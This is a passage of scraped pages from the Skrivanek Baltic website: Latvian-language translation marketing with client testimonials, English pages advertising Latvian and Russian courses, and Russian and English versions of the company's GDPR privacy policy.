dokumenta formatējumu. Arī gadījumos, kad nepieciešami lokalizācijas pakalpojumi, mēs ievērojam klienta norādījumus, kā arī programmatūras specifiskos iestatījumus. Protams, ar lielāko prieku. Skrivanek ir plaša pieredze un zināšanu bāze dažādu mājaslapu un satura vadības sistēmu tekstu tulkošanā un lokalizēšanā. Visos gadījumos tiek nodrošināta profesionāla pieeja un piemeklēts labākais risinājums, lai nodrošinātu vēlamo rezultātu nepieciešamajās valodu kombinācijās. Jā, ļoti bieži sadarbības partneriem mēs veidojam pat valodas speciālistu komandas – pakalpojumu nodrošina tas pats tulkotājs vai tulks, kurš strādājis ar klientu iepriekš. Droši sniedziet atgriezenisko saiti, un mēs ar lielāko prieku organizēsim atkārtotu sadarbību. Mūsu pastāvīgajiem klientiem ir arī savs projektu vadītājs. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu NEPIECIEŠAMS SEO VAI GOOGLE ADS TULKOJUMS? MEKLĒJIET VALODU RISINĀJUMU VAI NEPIECIEŠAMA KONSULTĀCIJA? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par Google Ads un SEO tulkojumiem jau tūlīt! KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Latvian training for individuals and businesses. Learn Latvian in person or online. Professional teachers. Efficient learning method. - Published: 2018-06-08 - Modified: 2025-06-27 - URL: https://skrivanek.lv/en/solutions/language-training/learn-latvian/ - Translation Priorities: Optional Whether you are an expat, need Latvian for work, or would just like to improve your language skills, Skrivanek will offer you the Latvian language course that best suits your needs - be it individual face-to-face or online sessions, an open group class (currently limited offer), or group classes for your company. Skrivanek also offers Latvian classes for children and youth – with today’s technologies, it doesn’t matter if you live in the US, Australia, the UK, or just around the corner! Send an email to valoduskola@skrivanek. lv or call us on +371 29 337 892, and we will find the solution that works best for you. Skrivanek Baltic Training Centre is an educational centre with more than ten years of experience in providing language training solutions for everybody. We provide language training courses for companies and individuals, adults and children, and a course in Latvian is one of our top courses we offer. If you intend to learn Latvian, apply for a course in Latvian! Latvian classes are widely attended by foreign citizens working in Riga or working remotely from other countries for companies in Latvia, or travellers who are interested in this language and the culture of this country on the coast of the Baltic Sea. We are also happy to help kids and young teens from families who are working and living abroad to learn Latvian in our summer camps when they come for a summer holiday in Latvia. ONLINE LATVIAN LANGUAGE CLASSES Latvian language online course via Zoom, MS Teams or any other online meeting platform has been our top online course since the world switched to remote work. Our long-term experience proves that learning Latvian online is convenient and effective – you can learn Latvian from any place in the world and arrange an online class with our tutors online on Zoom or MS Teams upon your preference. Online classes provide a range of advantages to learn Latvian effectively – you can practise grammar, learn vocabulary, develop your writing, listening and speaking skills for social or business communication in one-to-one classes or a group training. To find out more about Latvian classes on Zoom or any other online platforms, contact us, and we will advise you on the best solutions for your needs. IN-COMPANY LATVIAN COURSES Skrivanek Baltic Training Centre team is experienced to offer flexible solutions for learners of Latvian from all over the world. We offer group training on and off campus for companies to teach their employees Business Latvian for work. We provide morning, daytime and evening classes on-campus in our office. If you prefer your own office, our teachers can provide a course in Latvian upon your time and venue preference. GROUP CLASSES Individuals can join our classes on the premises of our school. The advantage of group learning is that learning is inter-active, students get to practise Latvian with their group members simulating real life situations in role-plays, dialogues and they learn to adapt different communication styles. INDIVIDUAL CLASSES One to one class is the best solution for those who have their own needs in learning Latvian and want the tutor to help them with language points they are specifically interested. Learners or travellers who are interested in a crush-course in Latvian will find this option advantageous. If you intend to learn Latvian one-to-one with a native-speaking tutor, you can do it online via Zoom or MS Teams or any other online meeting platform you prefer. Apply for a one-to-one class online (Zoom, MS Teams) now! LATVIAN FOR CHILDREN Kids and young teens of families who are living and working abroad can learn Latvian to improve the language remotely, too. Skrivanek Baltic Training Centre will provide individual Latvian classes online via Zoom or MS Teams with engaging activities to help kids and young teenagers to learn Latvian vocabulary and improve grammar in speaking and writing. Families who are planning a summer vacation, may also find Skrivanek Baltic summer camps of Latvian for kids and teens a useful solution how your children can spend a summer holiday in an interesting and meaningful way. Skrivanek Baltic teachers’ team will take care of your children when they spend a summer holiday in Latvia by involving them in classroom activities and games to develop skills to speak and write Latvian better. We have helped many families with children to improve their Latvian, and your children are welcome, too to join our summer camps or one-to-one classes! Find out about summer camps more here! Travellers who are planning a trip to Riga, may also try to learn Latvian in Skrivanek Baltic Training centre to find out more about the local culture as a part of their itinerary to socialize with local people. Before the trip, everyone can check our online dictionary with useful words and phrases to learn basic Latvian expressions for social, business and travel situations! Whether it is school, travel or business, Skrivanek Baltic Training Centre team is always prepared to give our clients what they need to improve their Latvian language skills. Choose the best way you want to learn Latvian, contact Skrivanek Baltic Training Centre team and we will provide you with the Latvian training service you need! --- > Russian training for individuals and businesses. In person or online. Efficient learning method. Professional teachers. Find out more! - Published: 2018-06-08 - Modified: 2023-01-12 - URL: https://skrivanek.lv/en/solutions/language-training/learn-russian/ - Translation Priorities: Optional Skrivanek Baltic Training Centre is an international educational centre with more than ten years of experience in providing language training services, and we are happy to find flexible and individual solutions for all of our clients, whatever their language training needs may be. The Skrivanek team is experienced in offering flexible solutions for learners of Russian of all ages from all over the world. We offer different ways to master Russian – one-on-one classes, group learning and corporate training as well as learning via Skype. A Russian course as a foreign language is one of our top offers as we have all kinds of people interested in learning Russian. We offer Russian language courses for everyone – students who need Russian for studies, business people who need Russian for written and spoken business communication, travellers who intend to attend Russian classes as part of their trip in order to get to know the language better. Skrivanek Baltic Training Centre is the best place for learners of Russian to find flexible solutions to their learning needs – work and studies, socialising and travel. The team of Skrivanek Baltic Training Centre will help you to find the best solution ensuring you get what you want when you apply for a course in Russian. INDIVIDUAL CLASSES One-to-one classes are an ideal option for those who cannot attend a fixed timetable of a public course. After determining the client’s needs, we design a special timetable to fit the client’s needs and availability. Classes can be organised on our premises or at any other place and time convenient for you. A one-to-one class is the best solution for those who have their own needs in learning Russian – they may be learning the Cyrillic alphabet and comprehending texts in Russian or communicating in social or business situations. In this case learners may need a skilful tutor to help them with language points they are specifically interested in. Moreover, one-on-one classes are convenient for those who have a busy life as in this way you can always arrange the next class each time you meet. Learners or travellers who are interested in a crash course in Russian will find this solution advantageous. GROUP CLASSES We also offer group learning on and off campus for companies who want their employees to learn Russian. Your employees are welcome to our premises where we offer morning, daytime and evening classes. But if you prefer your own office, our teachers can provide a course in Russian at your preferred time and venue. Individuals can also join our classes on our school premises. The advantage of group learning is that learning is interactive, students get to practise spoken Russian using common vocabulary with their group members simulating real life situations in role-plays and dialogues, and they learn to adapt different communication speeds, accents as well as learn from each other’s mistakes. RUSSIAN COURSE ONLINE A Russian language course online is another flexible solution that Skrivanek Baltic Training Centre offers to its clients. Based on our long-term experience we are convinced that learning Russian online is a progressive and effective way of learning. Both the tutor and the learner can arrange the class online according to their availability, learn, talk and discuss Russian language points – grammar, vocabulary or basic business communication. LANGUAGE LEARNING METHOD – EFFECTO All of our tutors are native Russian speaking professionals who have specialised in teaching Russian as a foreign language and our students can learn authentic language from them. Our Russian tutors speak English, which means the main grammar, pronunciation or vocabulary points in Russian can be explained in English so that you do not miss anything important and you can learn to communicate in Russian both in written and spoken form as soon as possible. Moreover, Skrivanek Baltic Training Centre has developed its own unique method EFFECTO to make the learning process fun and effective. Our EFFECTO method consists of five basic elements, which we believe to be most efficient to learn Russian. EFFECTO’s five elements include – activity, inspiration, individual approach and guarantee. Whatever Russian learning course you take, you will always be involved in the learning process actively, our creative and skilful teachers will find the best material, content and methods, and prepare curricula especially for your learning needs, guaranteeing you success in mastering Russian for business, social situations or travel. The Skrivanek team are always prepared to approach every learner’s needs individually and we are happy to give our clients exactly what they need to learn Russian. Choose the way you want to learn Russian that suits you best, contact the Skrivanek Baltic Training Centre team and we will be happy to provide you with the Russian training service you need – a course in Russian for socialising, travel or business in an enjoyable way! --- > Мы бережно заботимся о конфиденциальности и защите ваших данных, соблюдая права пользователя на законность обработки личных данных. - Published: 2018-05-25 - Modified: 2024-07-01 - URL: https://skrivanek.lv/privatuma-politika/ - Translation Priorities: Optional Администратор заботится о конфиденциальности и защите личных данных Пользователя, соблюдает права Пользователя на законность обработки личных данных согласно действующим нормативно-правовым актам: Регламенту Европейского Парламента и Совета № 2016/679 от 27 апреля 2016 г. о защите физических лиц относительно обработки личных данных и свободного оборота таких данных (далее в тексте – Регламент) и другим действующим нормативно-правовым актам, регулирующим конфиденциальность и обработку данных. С учетом вышесказанного Администратор разработал настоящую политику конфиденциальности с целью изложения информации, предусмотренной Регламентом. 1. 1. Администратором обработки личных данных является общество с ограниченной ответственностью SIA Skrivanek Baltic, рег. номер 40003626172, юридический адрес: ул. Лачплеша, 87с, г. Рига, LV-1011, телефон 80007272 (далее в тексте – Skrivanek), веб-сайты: www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv. 2. 1. Skrivanek обрабатывает личные данные клиентов в объеме и порядке, предусмотренном и разрешенном нормативными актами Латвийской Республики и Европейского союза. Кроме того, данные клиентов вправе получать и обрабатывать другие обработчики личных данных Skrivanek. Для получения подробной информации о деловых партнерах обратитесь в Skrivanek по указанным каналам связи (см. раздел «Контакты» на веб-сайте Skrivanek). 3. 1. регламент; 3. 2. закон «Об обработке данных физических лиц»; 3. 3. «Порядок организации и работы детских лагерей» (правила КМ № 981); 3. 4. закон «О защите прав детей». 4. 1. Политика конфиденциальности (далее в тексте – Политика) содержит информацию о способах сбора, обработки, совместного использования, удаления и защиты личных данных клиентов, которые использует Skrivanek, тем самым обеспечивая законность, добросовестность и прозрачность таких действий для клиентов. Политика распространяется на личные данные клиентов, обработку любых данных физических лиц и предоставляемые клиентам услуги. 4. 2. В случае обновления настоящей политики все изменения будут опубликованы на веб-сайте Skrivanek (www. skrivanek. lv), в разделе – «Политика конфиденциальности». 5. 1. Категории личных данных, обрабатываемых Skrivanek, зависят от предоставленных клиентам услуг. Для достижения целей, указанных в пункте 7 настоящей Политики, Skrivanek вправе обрабатывать следующие категории личных данных: 5. 1. 1. имя, фамилия, персональный код/дата рождения, почтовый адрес, номер телефона и электронный адрес; 5. 1. 2. банковские реквизиты; 5. 1. 3. данные документов, удостоверяющих личность (номер документа, дата и место выдачи и др. ); 5. 1. 4. данные, которые клиент сообщает Skrivanek самостоятельно; 5. 1. 5. записи видеонаблюдения и фотографии; 5. 1. 6. предусмотренная нормативными актами информация о здоровье участников детских лагерей. 5. 2. Для достижения целей, указанных в пункте 7 настоящей Политики, Skrivanek обрабатывает следующие данные об использовании услуг: 5. 2. 1. cookie-файлы (данные о просмотре веб-сайта) – данные о посещении веб-сайтов Skrivanek (www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv), далее в тексте – веб-сайты Skrivanek. 6. 1. Согласие клиента – клиент как субъект личных данных самостоятельно дает согласие на сбор и обработку личных данных в определенных целях. Согласие клиента является его свободным волеизъявлением и самостоятельным решением, на основании которого Skrivanek обрабатывает личные данные в установленных целях и которое может быть предоставлено в любой момент. Согласие клиента имеет силу, если оно предоставлено в письменной форме (путем заполнения бланка в офисе Skrivanek, отправки электронного запроса после идентификации клиента или при пользовании веб-сайтами www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv. Клиент вправе в любое время отозвать предоставленное согласие, используя указанные каналы связи (см. раздел «Контакты» на веб-сайтах Skrivanek). Изменения вступают в силу в течение трех рабочих дней с момента запроса. Отзыв согласия не влияет на законность обработки, осуществлявшейся на основании согласия до его отзыва. 6. 2. Заключение и выполнение договора – для заключения и выполнения договора, а также качественного обслуживания клиента Skrivanek необходимо получить и обработать определенные личные данные, которые предоставляются до заключения договора со Skrivanek или в течение срока действия заключенного договора. 6. 3. Законные интересы Skrivanek – с учетом того, что Skrivanek заинтересовано в предоставлении качественных услуг и своевременной поддержке клиента, Skrivanek вправе обрабатывать личные данные клиента в объеме, объективно необходимом достаточном для достижения целей, указанных в пунктах 7. 1–7. 3 настоящей Политики. Законными интересами Skrivanek считается обработка личных данных в рамках прямого маркетинга, в результате которого клиент получает новые и/или индивидуальные предложения Skrivanek (также см. пункты 8. 2 и 8. 3 настоящей Политики). С учетом того, что Skrivanek является частью группы предприятий SKRIVANEK Holding SE (также см. пункт 12. 4 настоящей Политики), он может иметь законный интерес относительно обработки данных путем их отправки другим предприятиям группы в целях внутреннего администрирования; цель − предлагать клиентам на уровне SKRIVANEK Holding SE услуги, соответствующие современным требованиям. 6. 4. Выполнение юридических обязанностей – Skrivanek вправе обрабатывать личные данные для выполнения требований нормативных актов, а также для предоставления ответов на законные запросы государственных и муниципальных органов. 6. 5. Защита жизненно важных интересов – Skrivanek вправе обрабатывать личные данные для защиты жизненно важных интересов клиента или другого физического лица, например, если данные видеозаписи необходимы для предотвращения и раскрытия преступлений. 7. 1. Skrivanek обрабатывает личные данные для обеспечения качественного оказания услуг в течение срока действия договора со Skrivanek: 7. 1. 1. рассмотрения жалоб клиентов и предоставления поддержки (в т. ч. технической) в связи с оказанными услугами; 7. 1. 2. эффективного управления денежным потоком, в т. ч. администрирования платежей и долгов клиента; 7. 1. 3. информирования клиентов об услугах других предприятий группы SKRIVANEK Holding SE; 7. 1. 4. осуществления видеонаблюдения в целях безопасности. 7. 2. Skrivanek обрабатывает личные данные, чтобы способствовать развитию отрасли и предлагать клиентам новые услуги, в т. ч. : 7. 2. 1. разрабатывать и предлагать новые услуги; 7. 2. 2. проводить рыночные исследования и разрабатывать бизнес-модели путем обработки статистических данных клиентов Skrivanek. 7. 3. Skrivanek обрабатывает личные данные для формирования и поддержки внутренних процессов Skrivanek, обеспечения документооборота и других внутренних процессов (например, архивирования договоров и других документов) в необходимом и достаточном для этого объеме. 7. 4. После получения от клиента свободного и недвусмысленного согласия Skrivanek вправе обрабатывать данные в нижеуказанных, а также других целях: 7. 4. 1. проверка личных данных клиента по базам данных кредитной истории до заключения договора служит для оценки способности клиента выполнять предусмотренные договором обязательства; в течение срока действия договора такая проверка необходима для того, чтобы компания предлагала клиенту новые, более современные услуги; 7. 4. 2. повышение узнаваемости Skrivanek на рынке путем отправки клиентам приятных пожеланий, предоставления бонусов, организации опроса для совершенствования имеющихся и разработки новых услуг. 8. 1. Профилирование личных данных клиента как обработка данных: 8. 1. 1. профилированием является любая автоматизированная обработка личных данных, которая проявляется в использовании личных данных с целью оценить конкретные личные аспекты, связанные с физическим лицом, в частности, проанализировать или прогнозировать аспекты, связанные с личными пожеланиями вышеуказанного физического лица, его интересами, надежностью, поведением, местонахождением или перемещением; 8. 1. 2. в ходе обработки личных данных Skrivanek вправе осуществлять профилирование для составления и отправки индивидуальных предложений. Автоматизированные индивидуальные решения принимаются только в коммерческих целях и не имеют юридических последствий для клиента. Клиент вправе в любое время возразить против принятия автоматизированного решения, связавшись со Skrivanek, – тогда он не станет субъектом такого решения (см. также условия пункта 8. 3 настоящей Политики). 8. 2. Прямой маркетинг и основание для отправки коммерческих уведомлений: Skrivanek осуществляет прямой маркетинг, отправляя клиентам коммерческие уведомления, чтобы постоянно держать их в курсе новых и/или специально разработанных услуг, а также особых условий договора (например, сообщать о скидках) согласно основаниюб для обработки личных данных, указанному в пункте 6. 3 настоящей Политики. Клиенты вправе в любое время бесплатно отказаться от получения коммерческих уведомлений, сообщив о своим желании Skrivanek (см. также условия пункта 8. 3 настоящей Политики). 8. 3. Клиенты вправе в любой момент возразить против профилирования своих личных данных (см. пункт 8. 1) или отказаться от получения коммерческих уведомлений (см. пункт 8. 2), связавшись со Skrivanek устно (позвонив по телефону 80007272 и пройдя идентификацию), письменно (путем заполнения бланка в офисе Skrivanek, отправки электронного запроса на адрес birojs@skrivanek. lv) или обратившись лично в офис Skrivanek. Изменения вступают в силу в течение трех рабочих дней с момента запроса. Изменения не затрагивают законность обработки личных данных до подачи указанных в данном пункте возражений и/или отказа клиента. 9. 1. Cookie-файлы – это небольшие файлы данных, необходимые для работы некоторых функций веб-сайтов (например, для входа). Cookie-файлы позволяют веб-сайтам запоминать различные настройки: язык, шрифт и другие выбранные вами особенности отображения веб-сайтов. Cookie-файлы сохраняются на вашем компьютере. Так работает большинство крупнейших поставщиков веб-сайтов и услуг. 9. 2. Использование cookie-файлов позволяет изучить общие привычки посетителей и историю использования веб-сайта, выявить проблемы и недочеты в работе веб-сайта, собрать статистические данные о привычках пользователей, а также обеспечивать полное и удобное использование функциональности веб-сайта. 9. 3. Вы вправе удалить любые cookie-файлы, сохраненные на вашем компьютере. Большинство интернет-браузеров позволяет заблокировать размещение cookie-файлов на вашем компьютере, однако в этом случае вы не сможете пользоваться всеми предлагаемыми онлайн-услугами. Подробную информацию о настройках cookie-файлов в вашем интернет-браузере можно получить на веб-сайте его разработчика. Веб-сайты Skrivanek используют функциональные, аналитические, рекламные и обязательные cookie-файлы. Чтобы получить подробную информацию о cookie-файлах, ознакомьтесь с разделом «Уведомление об использовании cookie-файлов» на веб-сайте Skrivanek (www. skrivanek. lv). 10. 1. Skrivanek получает личные данные клиентов при совершении ими следующих действий: 10. 1. 1. оплаты услуг Skrivanek (в офисе Skrivanek или удаленно, после предварительной идентификации клиента); 10. 1. 2. подписки на получение новостей, уведомлений или других услуг Skrivanek; 10. 1. 3. запроса у Skrivanek дополнительной информации об услуге или отправки Skrivanek жалобы или запроса информации (после идентификации клиента); 10. 1. 4. участия в конкурсах, лотереях или опросах; 10. 1. 5. посещения или просмотра веб-сайтов Skrivanek; 10. 1. 6. съемки камерами видеонаблюдения Skrivanek на территории Skrivanek. 10. 2. Skrivanek вправе с согласия клиента обрабатывать личные данные клиентов, полученные от третьих лиц (например, от владельцев баз данных кредитной истории и т. п. ). 10. 3. Skrivanek вправе обрабатывать личные данные клиента, полученные от других предприятий, предприятий группы SKRIVANEK Holding SE и партнерских предприятий (см. положения пункта 12 настоящей Политики). 11. 1. Skrivanek будет обрабатывать личные данные клиентов при наличии как минимум одного из следующих обстоятельств: 11. 1. 1. действует договор между клиентом и Skrivanek; 11. 1. 2. срок хранения личных данных установлен нормативными актами Латвийской Республики и Европейского союза или следует из них; 11. 1. 3. если обработка личных данных необходимо для осуществления и защиты законных интересов Skrivanek; 11. 1. 4. если клиент не отозвал согласие на обработку личных данных. Личные данные Клиента удаляются не позднее трех месяцев после того, как первоначальная причина сохранения данных утратит силу, кроме случаев, когда дальнейшее хранение этих данных является нашей юридической обязанностью (например, но не только, для нужд бухгалтерского учета или судопроизводства). 12. 1. В целях оказания услуг Skrivanek вправе делиться личными данными клиентов со следующими лицами: 12. 1. 1. предприятиями группы SKRIVANEK Holding SE; 12. 1. 2. партнерами или учреждениями, участвующими в предоставлении заказанных или использованных клиентами услуг; 12. 1. 3. предприятиям по взысканию задолженности, бюро кредитной информации, владельцам базы данных кредитной истории или другим организациям по взысканию задолженности; 12. 1. 4. цессионариям – для обеспечения эффективного управления денежным потоком Skrivanek вправе уступить право требования к должнику или должникам. 12. 2. Skrivanek обязан предоставлять информацию о личных данных следующим органам и службам: 12. 2. 1. правоохранительным органам, суду, а также другим государственным и муниципальным органам, если это следует из нормативных актов или отправленного соответствующим учреждением запроса информации; 12. 3. Skrivanek будет предоставлять личные данные клиентов только в необходимом и достаточном объеме, в соответствии с требованиями нормативных актов и объективными обстоятельствами конкретной ситуации. 12. 4. Skrivanek оставляет за собой право в случае необходимости передать личные данные клиентов другим предприятиям группы SKRIVANEK Holding SE или поставщикам услуг, если это необходимо для совершенствования услуг и повышения их качества. Для получения информации о предприятиях группы SKRIVANEK Holding SE, агентствах по взысканию задолженности, бюро кредитной информации, держателях базы данных кредитной истории или других организациях по взысканию задолженности и цессионариях обратитесь в Skrivanek по указанным каналам связи (см. раздел «Контакты» на веб-сайте Skrivanek). 13. 1. Skrivanek обеспечивает осуществление, постоянный пересмотр и совершенствование мер безопасности для защиты личных данных клиентов от несанкционированного доступа, случайной утери, разглашения или уничтожения. Для этого Skrivanek применяет современные технологии, технические и организационные требования, в том числе использует файрволы, программное обеспечение для выявления взлома, анализа и шифрование данных. 13. 2. Skrivanek тщательно проверяет всех поставщиков услуг, которые от его имени и по его поручению обрабатывают личные данные клиентов, а также оценивает применение соответствующих мер безопасности деловыми партнерами (обработчиками личных данных), обеспечивая соответствие обработки личных данных клиентов поручению Skrivanek и требованиям нормативных актов. Деловым партнерам не разрешается обрабатывать личные данные клиента в своих целях. 13. 3. Skrivanek не несет ответственности за несанкционированный доступ к личным данным и/или потерю личных данных, если это не зависит от Skrivanek, например, по вине клиента или ввиду его халатности. 13. 4. В случае возникновения угрозы личным данным Skrivanek сообщит об этом клиенту. 14. 1. Обратиться в Skrivanek для получения копии хранящихся у Skrivanek личных данных. 14. 2. Исправить все имеющиеся у Skrivanek личные данные о себе, потребовав внести изменения путем отправки подписанного в электронной форме письма на адрес birojs@skrivanek. lv, позвонив по телефону 80007272 или обратившись лично в офис Skrivanek. 14. 3. Клиенты вправе получить информацию о физических или юридических лицах, которые в течение определенного срока получили от Skrivanek информацию о них. Skrivanek не будет предоставлять клиентам информацию о государственных учреждениях, которые направляют уголовный процесс, являются субъектами оперативной деятельности, а также других учреждениях, сведения о которых запрещает разглашать закон. 14. 4. Потребовать удалить или ограничить обработку личных данных, если это больше не требуется в целях, для которых они были получены и обрабатывались («право на забвение»). 14. 5. Обратиться с вопросами об обработке личных данных в Skrivanek или учреждение, ведущее надзор за обработкой личных данных (Государственную инспекцию данных, www. dvi. gov. lv). 14. 6. Обратиться к специалисту по защите данных Skrivanek для получения информации об обработке и защите личных данных клиента. 14. 7. В течение месяца со дня подачи соответствующего запроса получить доступ к своим личным данным. Клиент может подать запрос об осуществлении своих прав в письменном виде лично по юридическому адресу Администратора (предъявив удостоверяющий личность документ) или по электронной почте письмом, подписанным надежной электронной подписью. После получения запроса Клиента об осуществлении своих прав Администратор удостоверяет личность Клиента, оценивает запрос и выполняет его в соответствии с нормативными актами. 15. 1. Чтобы обеспечить высокое качество обслуживания клиентов, мы организуем услуги устного перевода и обучения языкам также на облачных платформах для видео- и голосового общения Zoom или Microsoft Teams. 15. 2. Актуальная политика конфиденциальности платформы Zoom опубликована по адресу: https://zoom. us/privacy, в свою очередь, политика конфиденциальности платформы Microsoft Teams доступна здесь: https://www. microsoft. com/en-us/microsoft-365/blog/2020/04/06/microsofts-commitment-privacy-security-microsoft-teams/. Разработчики данных платформ в своих политиках конфиденциальности подтвердили соблюдение основных принципов обработки личных данных, предусмотренных Регламентом и другими нормативными актами, тем самым обеспечивая соответствие Регламенту. Уведомление об использовании cookie-файлов СРЕЦИАЛИСТ ПО ЗАЩИТЕ ДАННЫХ SKRIVANEK Uldis Krūmiņš dpo@skrivanek. lv --- > Privacy Policy of the international language service provider Skrivanek Baltic. The company’s data protection officer Uldis Krūmiņš: dpo@skrivanek.lv. - Published: 2018-05-24 - Modified: 2025-07-17 - URL: https://skrivanek.lv/privatuma-politika/ - Translation Priorities: Optional The Controller takes care of visitors’ privacy and personal data processing, obeys visitors’ rights regarding personal data processing and lawfulness of processing in accordance with the applicable legal acts: Regulation (EU) No. 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data (Regulation), and other applicable legal acts in the area of privacy and data processing. With this in mind, the Controller has developed this Privacy Policy for the purpose of providing the information required by the Regulation. 1. 1. The personal data processing Manager is SIA "Skrivanek Baltic", reg. No. : 40003626172, legal address Lāčplēša iela 87C, Riga, LV-1011, phone: (+371) 67 240 364 (hereinafter referred to as "Skrivanek"), websites: www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv. 2. 1. Skrivanek processes the Customer's personal data to the extent and in the manner prescribed and permitted by the laws of the Republic of Latvia and the European Union. Other Skrivanek data processors are also eligible to receive and process Customers' data. For more information about partners, contact Skrivanek using the specified communication channels (see "Contacts" on the Skrivanek webpage). 3. 1. Regulation; 3. 2. Personal Data Processing Law; 3. 3. Procedure for the organisation and operation of children's camps (MK, No. 981); 3. 4. The Law on the Protection of the Rights of the Child. 4. 1. Privacy Policy ("Policy") provides information on how Skrivanek collects, processes, stores, shares, deletes and protects Customer Data, therefore ensuring that Customer Data is processed in a manner that is legal, fair and transparent to Customers. The Policy applies to the Customer's personal data, any processing of personal data and services provided to Customers. 4. 2. If Skrivanek updates this Policy, all changes will be published on the Skrivanek website www. skrivanek. lv, in the section "About Us" - "Privacy Policy". 5. 1. The categories of personal data processed by Skrivanek depend on the Services provided to Customers. Skrivanek is entitled to process the following personal data categories for the purposes indicated in paragraph 7 of this Policy: 5. 1. 1. name, surname, personal identity number/date of birth, correspondence address, telephone number and e-mail address; 5. 1. 2. bank details; 5. 1. 3. details of identity documents (document number, date and place of issue, etc. ); 5. 1. 4. data provided by the Customer him/herself to Skrivanek; 5. 1. 5. video surveillance recordings and images; 5. 1. 6. the information required by the regulatory enactments regarding the participant's health for the participants of the children's camps. 5. 2. Skrivanek processes such data for use of the Services for the purposes listed in paragraph 7 of this Policy: 5. 2. 1. Cookies (Web Browsing Data) - Information about the Skrivanek webpages (www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv) (hereinafter referred to as the "Skrivanek webpages") visits. 6. 1. Customer's consent - The Customer as a personal data subject him/herself gives consent to the collection and processing of personal data for specified purposes. Customer's consent is his/her free will and independent decision that can be made at any time, therefore allowing Skrivanek to process personal data for specified purposes. The Customer's consent is binding if it is provided in writing (by filling out the form at Skrivanek's office, sending an electronic request after the Customer's identification or using the webpages www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv). The Customer has the right to withdraw his/her prior consent at any time using the specified communication channels (see the "Contacts" section of Skrivanek's webpage). The requested changes will take effect within three working days. The withdrawal of consent does not affect the legality of the processing, which was based on the consent before the withdrawal. 6. 2. Conclusion and execution of an Agreement - in order to enable Skrivanek to enter into and execute an Agreement with the Customer by providing quality services and servicing the Customer, it must collect and process certain personal data collected before the conclusion of the Agreement with Skrivanek or during the time when the Agreement is already in 